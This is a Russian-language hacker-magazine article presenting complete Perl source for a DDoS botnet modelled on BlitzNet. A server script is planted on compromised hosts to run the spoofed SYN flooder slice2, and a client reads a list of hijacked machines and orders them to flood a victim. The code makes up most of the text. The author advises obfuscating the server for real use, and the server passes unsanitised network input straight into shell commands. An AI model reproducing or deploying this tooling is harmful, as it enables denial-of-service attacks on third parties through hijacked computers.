Бредисловие

В своей предыдущей статье
"Пишем софт для DDoS" я рассмотрел DDoS
софт BlitzNet, написанный хрюнделем известным как phreeon. Написан он на Си
и TCL (причем, каким-то странным способом) и требует наличия под боком сканера
портов strobe и spoofed syn flooder'а slice2. Плюс к этому серверная часть не
компилируется из-за отсутствия list.h. Это и сподвигло меня написать аналог
Blitz Network на Перле. Но прежде чем перейти к коду, вкратце напомню кое-что о
DDoS атаках.

DDoS атака представляет собой просто большое количество DoS атак с множества
хостов на одну жертву. Количество атакующих хостов измеряется, как правило,
сотнями, а то и тысячами. Вряд ли у какого-нибудь хакера (точнее, крякеря) или
даже у целой группы крякеров окажется в собственности такое количество компьютеров,
поэтому в мероприятии используются взломанные компьютеры. На захваченные
компьютеры устанавливается серверная часть DDoS софта, которая готова по команде
начать DoS атаку на жертву. А на компьютере у крякера находится список хостов с
установленными серверами и программа, которая отдает всем этим хостам команды
начать DoS атаки на какую-нибудь жертву.

Реинкарнация BlizNet на Перле

Переписать Blitz Network на перле оказалось проще простого. Испытания проходили
на локальной системе с FreeBSD 4.5, но код должен работать и на других
UNIX-cистемах. (Если захочешь сам провести испытания на локальной системе,
сделай несколько серверов, запускающих разные проги; если они все будут
запускать одну программу, убит будет лишь один процесс этой программы, остальные
продолжат работу. Или ограничься одним процессом сервера.)

Мой DDoS софт состоит из сервера (server.pl), который использует для проведения
DoS атаки slice2, (они должны располагаться в укромных уголках на взломанных
компьютерах) и клиента (client.pl), располагаемого у крякера. Еще на компьютере
крякера должен быть содержащий адреса захваченных хостов файл shell.list,
который используется клиентом. Пример этого файла:

192.9.49.33 31337
bill.microsoft.com 666

Cначала - адрес компьютера, потом через пробел порт, на котором висит сервер.

Ну а теперь код сервера:

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1) { die "usage: $0 <port>\n"; }

$server = IO::Socket::INET-> new(
    LocalPort => $ARGV[0],
    Type => SOCK_STREAM,
    Reuse => 1,
    Listen => 5)
or die "Error: $@\n";

while ($client = $server->accept())
{
 $client->autoflush(1);
 $data = <$client>;

# $data format: duration source target startport stopport dupes
# duration -> Продолжительность атаки в секундах
# source -> Адрес для spoofing'а (0 - случайный адрес)
# target -> Адрес жертвы
# startport -> Нижний предел диапазона портов
# stopport -> Верхний предел
# dupes -> К-во одновременно работающих процессов slice2

 @array = split(/ /, $data);
 $duration = shift(@array);
 $cmd_line = join(" ", @array);
 close($client);

 chomp($cmd_line);

 $cmd = "./slice2 " . $cmd_line . " > /dev/null &";
 system($cmd);

 $ps = `ps`;
 @ps_tab = split(/\n/, $ps);
 foreach $line (@ps_tab) {
 if ($line =~ /slice2/) { @ps_line = split(/ /, $line); }
}

$kill_it = $ps_line[1];

$cmd = "sleep " . $duration . "; kill $kill_it";
system($cmd);
}

close($server);

Комментарий

Оригинальный BlitzNet сервер для убиения slice2, запущенного в фоновом режиме,
использует команду kill `pidof slice2`, т.е как идентификатор процесса для
тулзы kill подается результат выполнения команды pidof slice2. Но на моем
FreeBSD box'е pidof'а не оказалось, поэтому пришлось получать PID slice2
лапками.

Если решишь использовать сервер в боевых условиях (хотя лучше этого не делать),
надеюсь, у тебя хватит ума удалить комментарии, сделать скрипт максимально
нечитабельным и запускать его в фоновом режиме.

А вот клиент:

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 6)
{
 die "usage: $0 <duration> <source> <target> <startport> <stopport> <dupes>\n";
}

$duration = $ARGV[0];
$source = $ARGV[1];
$target = $ARGV[2];
$startport = $ARGV[3];
$stopport = $ARGV[4];
$dupes = $ARGV[5];

open SLAVES, "./shell.list";
while (<SLAVES>)
{
 ($remote_host, $remote_port) = split(/ /);
 push @hostz, $remote_host;
 push @portz, $remote_port;
}
close(SLAVES);

for($i=0;$i<@hostz;$i++)
{
 $socket = IO::Socket::INET->new(PeerAddr => $hostz[$i],
 PeerPort => $portz[$i],
 Proto => "tcp",
 Type => SOCK_STREAM) or next;

 print $socket "$duration $source $target $startport $stopport $dupes\015\012";
 close($socket);
}

Все, теперь можешь снимать лапшу с ушей и качать дистрибутив
Перл-версии
BlitzNet с Хакера.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии